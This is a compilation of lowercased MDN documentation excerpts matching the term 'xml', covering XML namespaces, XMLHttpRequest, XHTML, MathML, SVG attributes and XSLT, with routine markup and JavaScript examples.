... per the namespaces in xml specification, an attribute does not inherit its namespace from the element it is attached to.
... document object model (dom) level 2 core specificationthe definition of 'dom level 2 core: xml namespaces' in that specification.
ProcessingInstruction - Web APIs
a processing instruction is different from the xml declaration.
... user-defined processing instructions cannot begin with "xml", as xml-prefixed processing-instruction target names are reserved by the xml specification for particular, standard uses (see, for example, <?xml-stylesheet ?>).
... living standard xml specification ...
ProgressEvent - Web APIs
the progressevent interface represents events measuring progress of an underlying process, like an http request (for an xmlhttprequest, or the loading of the underlying resource of an <img>, <audio>, <video>, <style> or <link>).
... examples the following example adds a progressevent to a new xmlhttprequest and uses it to display the status of the request.
... var progressbar = document.getelementbyid("p"), client = new xmlhttprequest() client.open("get", "magical-unicorns") client.onprogress = function(pe) { if(pe.lengthcomputable) { progressbar.max = pe.total progressbar.value = pe.loaded } } client.onloadend = function(pe) { progressbar.value = pe.loaded } client.send() specifications specification status comment xmlhttprequestthe definition of 'progressevent' in that specification.
SpeechRecognitionEvent.emma - Web APIs
the emma read-only property of the speechrecognitionevent interface returns an extensible multimodal annotation markup language (emma) — xml — representation of the result.
... syntax var myemma = event.emma; value a valid xml document.
... the exact contents can vary across user agents and recognition engines, but all supporting implementations will expose a valid xml document complete with an emma namespace.
Functions and classes available to Web Workers - Web APIs
8 (8) no support no support no support formdata formdata objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest send() method.
... basic implementation (yes) appcodename, product, taintenabled(): 28 (28) online: 29 (29) navigatorlanguage: (yes) appname, appversion, online, platform, useragent: 10.0 other: no support (yes) (yes) xmlhttprequest creates and returns a new xmlhttprequest object; this mimics the behavior of the standard xmlhttprequest() constructor.
... note that the responsexml and channel attributes on xmlhttprequest always return null.
Using Web Workers - Web APIs
in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null).
...in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
... functions and interfaces available in workers you can use most standard javascript features inside a web worker, including: navigator xmlhttprequest array, date, math, and string windowtimers.settimeout and windowtimers.setinterval the main thing you can't do in a worker is directly affect the parent page.
animation - CSS: Cascading Style Sheets
WebCSSanimation
a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%...
...20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2...
...c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid { width: 100%; he...
XHTML - Developer guides
WebGuideHTMLXHTML
xhtml is a term that was historically used to describe html documents written to conform with xml syntax rules.
... html document content-type: text/html <!doctype html> <html lang=en> <head> <meta charset=utf-8> <title>html</title> </head> <body> <p>i am a html document</p> </body> </html> xhtml document content-type: application/xhtml+xml <?xml version="1.0" encoding="utf-8"?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>xhtml</title> </head> <body> <p>i am a xhtml document</p> </body> </html> in practice, very few "xhtml" documents are served over the web with a content-type: application/xhtml+xml header.
... instead, even though the documents are written to conform to xml syntax rules, they are served with a content-type: text/html header — so browsers parse those documents using html parsers rather than xml parsers, which can cause a variety of sometimes-very-surprising problems.
Index - Developer guides
WebGuideIndex
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
... 37 parsing and serializing xml ajax, add-ons, dom, dom parsing, document, extensions, guide, htmldocument, json, parsing, parsing xml, serializing, serializing xml, xml, xmldocument, xmlhttprequest in this article, we'll look at the objects provided by the web platform to make the common tasks of serializing and parsing xml easy.
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
for example, with type="application/rss+xml" it creates a hyperlink referencing a syndication feed.
... <link rel="alternate" type="application/atom+xml" href="posts.xml" title="blog"> both the hreflang and type attributes specify links to versions of the document in an alternative format and language, intended for other media: <link rel=alternate href="/fr/html/print" hreflang=fr type=text/html media=print title="french html (for printing)"> <link rel=alternate href="/fr/pdf" hreflang=fr type=application/pdf title="french pdf"> author indicates the author of the current document or article.
... if the type attribute is set to application/opensearchdescription+xml the resource is an opensearch plugin that can be easily added to the interface of some browsers like firefox or internet explorer.
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
for instance, there are a number of ways microsoft word files can be identified, so a site that accepts word files might use an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> capture the capture attribute value is a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
...(many mobile devices also let the user take a picture with the camera when this is used.) accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document" — accept anything that smells like an ms word document.
... // https://developer.mozilla.org/docs/web/media/formats/image_types const filetypes = [ "image/apng", "image/bmp", "image/gif", "image/jpeg", "image/pjpeg", "image/png", "image/svg+xml", "image/tiff", "image/webp", "image/x-icon" ]; function validfiletype(file) { return filetypes.includes(file.type); } the returnfilesize() function takes a number (of bytes, taken from the current file's size property), and turns it into a nicely formatted size in bytes/kb/mb.
Global attributes - HTML: Hypertext Markup Language
in addition to the basic html global attributes, the following global attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes.
...xml:lang has priority over it.
... xml:lang which was initially part of xhtml, is now also part of html.
Quirks Mode and Standards Mode - HTML: Hypertext Markup Language
anything before the doctype, like a comment or an xml declaration will trigger quirks mode in internet explorer 9 and older.
... xhtml if you serve your page as xhtml using the application/xhtml+xml mime type in the content-type http header, you do not need a doctype to enable standards mode, as such documents always use full standards mode.
... note however that serving your pages as application/xhtml+xml will cause internet explorer 8 to show a download dialog box for an unknown format instead of displaying your page, as the first version of internet explorer with support for xhtml is internet explorer 9.
HTTP Index - HTTP
WebHTTPIndex
9 mime types (iana media types) content-type, guide, http, mime types, meta, request header, response header, application/javascript, application/json, application/xml a media type (also known as a multipurpose internet mail extensions or mime type) is a standard that indicates the nature and format of a document, file, or assortment of bytes.
... 20 cross-origin resource sharing (cors) ajax, cors, cross-origin resource sharing, fetch, fetch api, http, http access controls, same-origin policy, security, xmlhttprequest, l10n:priority cross-origin resource sharing (cors) is a mechanism that uses additional http headers to tell browsers to give a web application running at one origin, access to selected resources from a different origin.
... 144 feature-policy: sync-xhr directive, feature policy, feature-policy, http, reference, xmlhttprequest the http feature-policy header sync-xhr directive controls whether the current document is allowed to make synchronous xmlhttprequest requests.
JavaScript technologies overview - JavaScript
the core of the dom the document object model (dom) is a cross-platform, language-independent convention for representing and interacting with objects in html, xhtml and xml documents.
...the w3c standardizes the core document object model, which defines language-agnostic interfaces that abstract html and xml documents as objects, and also defines mechanisms to manipulate this abstraction.
... xmlhttprequest makes it possible to send asynchronous http requests.
<math> - MathML
WebMathMLElementmath
>mathml in html5</title> </head> <body> <math> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo>=</mo> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </math> </body> </html> xhtml notation <?xml version="1.0" encoding="utf-8"?> <!doctype html public "-//w3c//dtd xhtml 1.1 plus mathml 2.0//en" "http://www.w3.org/math/dtd/mathml2/xhtml-math11-f.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>mathml in xhtml</title> </head> <body> <math xmlns="http://www.w3.org/1998/math/mathml"> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </m...
...sup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo>=</mo> <msup> <mi>c</mi> <mn>2</mn> </msup> </mrow> </math> </body> </html> notes: xhtml documents with mathml must be served as application/xhtml+xml.
...since you notate your mathml in an xml document, also be sure you write a well-formed xml document.
<merror> - MathML
WebMathMLElementmerror
in firefox this error message is rendered similar to the typical xml error message.
... note that this error is not thrown when your mathml markup is wrong or not well-formed xml.
... you will still get an xml parsing error (in case of the xhtml notation of mathml), which has nothing to do with <merror>.
attributeType - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value css | xml | auto default value auto animatable no css this value specifies that the value of attributename is the name of a css property defined as animatable.
... xml this value specifies that the value of attributename is the name of an xml attribute defined as animatable in the default xml namespace for the target element.
...user agents first search through the list of css properties for a matching property name, and if none is found, search the default xml namespace for the element.
fill-rule - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polygon>, <polyline>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- default value for fill-rule --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- the center of the shape has two path segments (shown by the red stroke) between it and infinity.
... example html,body,svg { height:100% } <svg viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-- effect of nonzero fill rule on crossing path segments --> <polygon fill-rule="nonzero" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- effect of nonzero fill rule on a shape inside a shape with the path segment moving in the same direction (both squares drawn clockwise, to the "right") --> <path fill-rule="nonzero" stroke=...
... example html,body,svg { height:100% } <svg viewbox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> <!-- effect of evenodd fill rule on crossing path segments --> <polygon fill-rule="evenodd" stroke="red" points="50,0 21,90 98,35 2,35 79,90"/> <!-- effect of evenodd fill rule on on a shape inside a shape with the path segment moving in the same direction (both squares drawn clockwise, to the "right") --> <path fill-rule="evenodd" stro...
id - SVG: Scalable Vector Graphics
WebSVGAttributeid
<svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <style type="text/css"> <![cdata[ #smallrect { stroke: #000066; fill: #00cc00; } ]]> </style> <rect id="smallrect" x="10" y="10" width="100" height="100" /> </svg> usage notes value <id> default value none animatable no <id> specifies the element's id.
... it must be valid in xml documents.
... a stand-alone svg document uses xml 1.0 syntax, which specifies that valid ids only include designated characters (letters, digits, and a few punctuation marks), and do not start with a digit, a full stop (.) character, or a hyphen-minus (-) character.
lang - SVG: Scalable Vector Graphics
WebSVGAttributelang
there is also an xml:lang attribute (with namespace).
...the glyph was meant to be used if the xml:lang attribute exactly matched one of the languages given in the value of this parameter, or if the xml:lang attribute exactly equaled a prefix of one of the languages given in the value of this parameter such that the first tag character following the prefix was "-".
... <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <text lang="en-us">this is some english text</text> </svg> usage notes value <language-tag> default value none animatable no <language-tag> this value specifies the language used for the element.
points - SVG: Scalable Vector Graphics
WebSVGAttributepoints
two elements are using this attribute: <polyline>, and <polygon> html,body,svg { height:100% } <svg viewbox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon is a closed shape --> <polygon stroke="black" fill="none" transform="translate(100,0)" points="50,0 21,90 98,35 2,35 79,90"/> <!-- it is usualy considered best practices to separate a x and y coordinate with a comma and a group of coordinates by ...
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline is an open shape --> <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> polygon for <polygon>, points defines a list of points, each representing a vertex of the shape to be drawn.
... value [ <number>+ ]# default value none animatable yes example html,body,svg { height:100% } <svg viewbox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon is an closed shape --> <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'points' in that specification.
requiredFeatures - SVG: Scalable Vector Graphics
attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <circle>, <clippath>, <cursor>, <defs>, <ellipse>, <foreignobject>, <g>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <use> html, body, svg { height: 100%; } text { fill: white; } <svg viewbox="0 0 250 45" xmlns="http://www.w3.org/2000/svg"> <g> <rect fill="forestgreen" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures supported</text> </g> <g requiredfeatures=""> <rect fill="crimson" x="10" y="10" height="25" width="230" /> <text x="20" y="27">requiredfeatures not supported</text> </g> </svg> usage notes value <list-of-features> ...
... http://www.w3.org/tr/svg11/feature#coreattribute the browser supports the id, xml:base, xml:lang and xml:space attributes http://www.w3.org/tr/svg11/feature#structure the browser supports <svg>, <g>, <defs>, <desc>, <title>, <metadata>, <symbol> and <use> elements.
...>, <font-face-uri>, <font-face-format> and <font-face-name> elements http://www.w3.org/tr/svg11/feature#basicfont the browser supports the <font>, <font-face>, <glyph>, <missing-glyph>, <hkern>, <font-face-src> and <font-face-name> elements http://www.w3.org/tr/svg11/feature#extensibility the browser supports the <foreignobject> element example svg <svg width="450" height="1170" xmlns="http://www.w3.org/2000/svg"> <!-- testing : http://www.w3.org/tr/svg11/feature#svg --> <rect class="ko" x="10" y="10" height="25" width="430" /> <rect class="ok" x="10" y="10" height="25" width="430" requiredfeatures="http://www.w3.org/tr/svg11/feature#svg" /> <text x="20" y="27">http://www.w3.org/tr/svg11/feature#svg</text> <!-- testing : http://www.w3.org/tr/svg11/feature#svgd...
x - SVG: Scalable Vector Graphics
WebSVGAttributex
w>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <rect x="20" y="20" width="60" height="60" /> <rect x="120" y="20" width="60" height="60" /> <rect x="220" y="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value list of (<length> | <percentage>) default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="90%" x2="100%" y2="90%" /> <!-- vertical line to materialized the x positioning --> <line x1="25%" y1="0" x2="25%" y2="100%" /> <line x1="50%" y1="0" x2="50%" y2="100%" /> <line x1="75%" y1="0" x2="75%" y2="100%" /> <!-- x with ...
... value list of (<length> | <percentage>) default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="90%" x2="100%" y2="90%" /> <!-- vertical line to materialized the x positioning --> <line x1="25%" y1="0" x2="25%" y2="100%" /> <line x1="50%" y1="0" x2="50%" y2="100%" /> <line x1="75%" y1="0" x2="75%" y2="100%" /> <text> <...
x1 - SVG: Scalable Vector Graphics
WebSVGAttributex1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x1 defines the x coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="5" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="9" x2="5" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x1 defines the x coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the left bounding limit of the shape it is applied to --> <lineargradient x1="0%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 80% of the left bounding limit of the shape it is applied to --> <lineargradient x1="80%" id="g1"> <stop offset="0" stop-color="black" ...
x2 - SVG: Scalable Vector Graphics
WebSVGAttributex2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> line for <line>, x2 defines the x coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="5" x2="1" y1="1" y2="9" stroke="red" /> <line x1="5" x2="5" y1="1" y2="9" stroke="green" /> <line x1="5" x2="9" y1="1" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, x2 defines the x coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 100% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the right bounding limit of the shape it is applied to --> <lineargradient x2="100%" id="g0"> <stop offset="0" stop-color="black" /> <stop offset="100%" stop-color="red" /> </lineargradient> <rect x="1" y="1" width="8" height="8" fill="url(#g0)" /> <!-- here the gradient vector start at 20% of the left bounding limit of the shape it is applied to --> <lineargradient x2="20%" id="g1"> <stop offset="0" stop-color="blac...
y - SVG: Scalable Vector Graphics
WebSVGAttributey
w>, <feflood>, <fefunca>, <fefuncb>, <fefuncg>, <fefuncr>, <fegaussianblur>, <feimage>, <femerge>, <femergenode>, <femorphology>, <feoffset>, <fepointlight>, <fespecularlighting>, <fespotlight>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <glyphref>, <image>, <mask>, <pattern>, <rect>, <svg>, <text>, <tref>, <tspan>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 100 300" xmlns="http://www.w3.org/2000/svg"> <rect y="20" x="20" width="60" height="60" /> <rect y="120" x="20" width="60" height="60" /> <rect y="220" x="20" width="60" height="60" /> </svg> altglyph warning: as of svg2 <altglyph> is deprecated and shouldn't be used.
... value list of (<length> | <percentage>) default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="60%" x2="100%" y2="60%" /> <line x1="0" y1="80%" x2="100%" y2="80%" /> <!-- vertical line to materialized the x positioning --> <line x1="5%" y1="0" x2="5%" y2="100%" /> <line x1="55%" y1="0" x2="55%" y2="100%" /> <!-- y with ...
... value list of (<length> | <percentage>) default value none animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <!-- horizontal line to materialized the text base line --> <line x1="0" y1="40%" x2="100%" y2="40%" /> <line x1="0" y1="60%" x2="100%" y2="60%" /> <line x1="0" y1="80%" x2="100%" y2="80%" /> <!-- vertical line to materialized the x positioning --> <line x1="5%" y1="0" x2="5%" y2="100%" /> <line x1="55%" y1="0" x2="55%" y2="100%" /> <text> <...
y1 - SVG: Scalable Vector Graphics
WebSVGAttributey1
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> line for <line>, y1 defines the y coordinate of the starting point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="1" y2="5" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="9" y2="5" stroke="blue" /> </svg> lineargradient for <lineargradient>, y1 defines the y coordinate of the starting point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector start at the top left corner of the bounding box of the shape it is applied to.
y2 - SVG: Scalable Vector Graphics
WebSVGAttributey2
two elements are using this attribute: <line>, and <lineargradient> html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> line for <line>, y2 defines the y coordinate of the ending point of the line.
... value <length> | <percentage> default value 0 animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 10 10" xmlns="http://www.w3.org/2000/svg"> <line x1="1" x2="9" y1="5" y2="1" stroke="red" /> <line x1="1" x2="9" y1="5" y2="5" stroke="green" /> <line x1="1" x2="9" y1="5" y2="9" stroke="blue" /> </svg> lineargradient for <lineargradient>, y2 defines the y coordinate of the ending point of the gradient vector used to map the gradient stop values.
... the exact behavior of this attribute is influenced by the gradientunits attributs value <length> | <percentage> default value 0% animatable yes example html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- by default the gradient vector end at the top right corner of the bounding box of the shape it is applied to.
Clipping and masking - SVG: Scalable Vector Graphics
creating clips we create the above mentioned semicircle based on a circle element: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <clippath id="cut-off-bottom"> <rect x="0" y="0" width="200" height="100" /> </clippath> </defs> <circle cx="100" cy="100" r="100" clip-path="url(#cut-off-bottom)" /> </svg> centered at (100,100) a circle with radius 100 is painted.
... <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <lineargradient id="gradient"> <stop offset="0" stop-color="black" /> <stop offset="1" stop-color="white" /> </lineargradient> <mask id="mask"> <rect x="0" y="0" width="200" height="200" fill="url(#gradient)" /> </mask> </defs> <rect x="0" y="0" width="200" height="200" fill...
...hence, if you set a stroke opacity on an element, that also has a fill, the fill will shine through on half of the stroke, while on the other half the background will appear: <svg width="200" height="200" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <rect x="0" y="0" width="200" height="200" fill="blue" /> <circle cx="100" cy="100" r="50" stroke="yellow" stroke-width="40" stroke-opacity=".5" fill="red" /> </svg> screenshotlive sample you see in this example the red circle on blue background.
Texts - SVG: Scalable Vector Graphics
WebSVGTutorialTexts
<text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> playable code <svg width="350" height="60" xmlns="http://www.w3.org/2000/svg"> <text> this is <tspan font-weight="bold" fill="red">bold and red</tspan> </text> <style><![cdata[ text{ dominant-baseline: hanging; font: 28px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> the tspan element has the following custom attributes: x set a new absolute x coordinate for the containing text.
... textpath this element fetches via its xlink:href attribute an arbitrary path and aligns the characters, that it encircles, along this path: <path id="my_path" d="m 20,20 c 80,60 100,40 120,20" fill="transparent" /> <text> <textpath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> a curve.
... </textpath> </text> playable code 2 <svg width="200" height="100" xmlns="http://www.w3.org/2000/svg"> <path id="my_path" d="m 20,20 c 80,60 100,40 120,20" fill="transparent" /> <text> <textpath xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#my_path"> a curve.
SVG: Scalable Vector Graphics
WebSVG
scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics.
... svg images and their related behaviors are defined in xml text files, which means they can be searched, indexed, scripted, and compressed.
... other resources: xml, css, dom, canvas examples google maps (route overlay) & docs (spreadsheet charting) svg bubble menus svg authoring guidelines an overview of the mozilla svg project frequently asked questions regarding svg and mozilla svg as an image svg animation with smil svg art gallery animation and interactions like html, svg has a document model (dom) and events, and is accessible from jav...
<xsl:stylesheet> - XSLT: Extensible Stylesheet Language Transformations
typically this is xmlns:xsl="http://www.w3.org/1999/xsl/transform".
... syntax <xsl:stylesheet version="number" xmlns:xsl="http://www.w3.org/1999/xsl/transform" id="name" extension-element-prefixes="list-of-names" exclude-result-prefixes="list-of-names"> entire stylesheet </xsl:stylesheet> required attributes version specifies the version of xslt required by this stylesheet.
...this is most often used when the stylesheet is embedded in another xml document.
Using the Mozilla JavaScript interface to XSL Transformations - XSLT: Extensible Stylesheet Language Transformations
var testtransform = document.implementation.createdocument("", "test", null); // just an example to get a transform into a script as a dom // xmldocument.load is asynchronous, so all processing happens in the // onload handler testtransform.addeventlistener("load", onload, false); testtransform.load("test-transform.xml"); function onload() { processor.importstylesheet(testtransform); } xsltprocessor.importstylesheet() requires one argument, a dom node.
... transformtodocument xsltprocessor.transformtodocument() takes one argument, the source node to transform, and returns a new document with the results of the transformation: var newdocument = processor.transformtodocument(domtobetransformed); the resultant object depends on the output method of the stylesheet: html - htmldocument xml - xmldocument text - xmldocument with a single root element <transformiix:result> with the text as a child transformtofragment you can also use xsltprocessor.transformtofragment() which will return a documentfragment node.
